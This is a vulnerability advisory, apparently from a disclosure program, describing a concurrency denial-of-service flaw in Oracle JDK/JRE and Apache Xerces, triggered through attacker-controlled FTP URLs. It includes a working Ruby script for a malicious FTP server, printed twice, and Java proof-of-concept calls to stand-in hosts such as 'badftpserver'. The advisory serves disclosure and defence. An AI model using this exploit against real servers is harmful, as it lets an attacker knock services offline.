## Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Oracle Java JDK/JRE (1.8.0.131 and previous versions) packages and Apache Xerces (2.11.0) The vulnerabilities are: Oracle JDK/JRE Concurrency-Related Denial of Service java.net.URLConnection (with no setConnectTimeout) Concurrency-Related Denial of Service ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response Update 1: Oracle has released patches to address this vulnerability and assigned CVE-2017-10355 Oracle acknowledged receiving the report, and has assigned it a tracking number: S0876966. We have no further information on patch availability or a workaround. ## Vulnerabilities Details These two vulnerabilities can be triggered to cause a Denial of Service against a server, under the following conditions: An attacker can pass an URL parameter that points to a controlled FTP server to the target Target server uses vulnerable component(s) to fetch the resource specified by the attacker Target server does not prevent fetching of FTP URI resources In both vulnerabilities, the attack sequence is the following: Attacker forces vulnerable target server to parse an FTP URL which points to an attacker’s controlled FTP server Target server fetches FTP resource provided by attacker Attacker’s FTP server abruptly exits, leaving the Java process on target server with two internal threads in an infinite waiting status If the Java process is single-threaded, then it cannot further process any other client requests, reaching a Denial of Service condition with only one request from the attacker In case of a multi-threading process, then it is possible to use the same technique and reach a Denial of Service condition of all available threads, by issuing one request for each available thread The attacker’s controlled FTP server has to “abruptly” exit when the Java client will perform a RETR FTP command. This behavior is not properly handled and causes a thread concurrency Denial of Service. For example: require 'socket' ftp_server = TCPServer.new 21 Thread.start do loop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts("220 ftp-server") counter = 0 loop { req = ftp_client.gets() break if req.nil? puts "< "+req if req.include? "USER" ftp_client.puts("331 password") else ftp_client.puts("230 Waiting data") counter = counter + 1 if counter == 6 abort end end } puts "Aborted..." end end end loop do sleep(50000) end 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 require 'socket' ftp_server = TCPServer.new 21 Thread.start do loop do Thread.start(ftp_server.accept) do |ftp_client| puts "FTP. New client connected" ftp_client.puts("220 ftp-server") counter = 0 loop { req = ftp_client.gets() break if req.nil? puts "< "+req if req.include? "USER" ftp_client.puts("331 password") else ftp_client.puts("230 Waiting data") counter = counter + 1 if counter == 6 abort end end } puts "Aborted..." end end end loop do sleep(50000) end When triggered, the DoS will result in a CLOSE_WAIT status on the connection between the target server and the FTP server (192.168.234.134), leaving the Java process thread stuck.

The vulnerable functions are: javax.xml.parsers.SAXParser javax.xml.parsers.SAXParserFactory org.dom4j.Document org.dom4j.io.SAXReader javax.xml.parsers.DocumentBuilder javax.xml.parsers.DocumentBuilderFactory The Root Cause Issue in Apache Xerces is the com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class In this case, XMLEntityManager.class does not explicitly set Connection Timeout for the connect object, letting Java to set a default value of -1, leading to a Denial of Service condition, as explained below. Example of code using Apache Xerces library to fetch an XML file from an FTP server: </code><code> [snip] private void parseXmlFile() { //get the factory DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { //Using factory get an instance of document builder DocumentBuilder db = dbf.newDocumentBuilder(); //parse using builder to get DOM representation of the XML file dom = db.parse("ftp://maliciousftpserver/test.xml"); & lt; - FTP URL controlled by the attacker } catch (ParserConfigurationException pce) { pce.printStackTrace(); } catch (SAXException se) { se.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } } [snip] </code><code> ## SAXParser Proof of Concept </code><code> SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); UserHandler userhandler = new UserHandler(); saxParser.parse("ftp://badftpserver:2121/whatever.xml”) </code><code> ## DOM4J / SAXReader Proof of Concept </code><code> SAXReader reader = new SAXReader(); Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" ); </code><code> ## JAVAX XML Parsers Proof of Concept </code><code> DocumentBuilder db = dbf.newDocumentBuilder(); dom = db.parse("ftp://badftpserver:2121/whatever.xml"); </code><code> |
